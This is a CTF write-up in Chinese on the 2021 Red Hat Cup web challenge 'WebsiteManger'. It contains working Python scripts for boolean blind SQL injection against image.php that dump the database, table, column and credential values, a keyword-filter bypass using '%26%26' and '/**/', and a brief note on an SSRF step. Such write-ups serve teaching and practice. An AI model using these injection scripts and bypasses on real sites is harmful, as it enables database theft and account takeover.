WebsiteManger
S3a Lv3

2021-第四届红帽杯网络安全大赛-Web-WebsiteManger

image

  1. 首先f12检查源文件 发现图片可能存在注入点 :

image

布尔盲注知识点

  • /image.php?id=if(1=1,1,5) True
  • /image.php?id=if(1=2,1,5) False

解释: 条件为真时?id=1,回显第一张图片,条件为假时?id=5,没有id=5的图片,什么都没有。即可作为布尔盲注判断条件

  1. 脚本测试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

all_str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
url = 'http://challenge-ebd076868bb77c54.sandbox.ctfhub.com:10800/image.php'
info = ''

for i in range(1, 50):
for s in all_str:
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i, ord(s))
ans = requests.get(url=url + payload)
if len(ans.text) > 1000:
info += s
print(payload)
print(info)

以上判断出database()=ctf

image

  1. 根据网上writeup清晰得知:
1
2
3
4
5
6
7
8
9
10
11
#爆破数据库
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
#爆破表名
payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))
#爆破列名
payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'),{},1))={},1,5)'.format(i,ord(s))
#爆破字段
payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))
这里在做题的时候,发现爆破字段得到的结果不是ctf下的users的字段,因为没有加ctf这个限制,应该是爆破到了其他数据库下的users中的字段,需要加上数据库名ctf的限制条件,不过这里题目有对 ‘and’关键字过滤,所以需要用‘&&’替换,而且还要编码为ulr格式‘%26%26’,这里也是用brupsuit抓包分析了很久才发现的,不过只要有耐心,最终还是会发现。
修改后的payload
payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'/**/%26%26/**/table_schema=database()),{},1))={},1,5)'.format(i, ord(s))
  • 关键函数解释
    • mid() 函数:截取字符串一部分,mid(column_name,start[,length])
    • ord() 函数:是 chr() 函数(对于8位的ASCII字符串),它以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值。返回值是对应的十进制整数。
    • group_concat() 函数:连接一个组的所有字符串,并以逗号分隔每一条数据。能一次性查出所有信息。group_concat(str1,str2,…)
  1. 最后得知的信息
1
2
3
4
5
6
Tables_in_ctf: users,images

Columns_in_users: USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password(此处与writeup有出入)

values_in_users: adminf5b86501931f812ed3833dee67a43603
adminc6ef523a171bb9a25f4115044b507d69

image

  1. 登录成功后

image

此处测试发现有ssrf漏洞 输出127.0.0.1后反馈信息出现了(curl)

image

抓包得到flag

image

官方注入脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string

charset = ",@"+ string.digits + string.ascii_lowercase + string.ascii_uppercase

def r(s):
s = s.replace(" ", "/**/")
return s

sql = r("select concat(id,username,password) from users")
result = ""
for i in range(1,50):
for c in charset:
cc = ord(c)
url = f"http://challenge-ebd076868bb77c54.sandbox.ctfhub.com:10800/image.php?id=-1/**/or/**/(ascii(mid(({sql}),{i},1))={cc})"
r = requests.get(url)
if len(r.text) > 1024:
result += c
print(result)
break

image

 Comments
Comment plugin failed to load
Loading comment plugin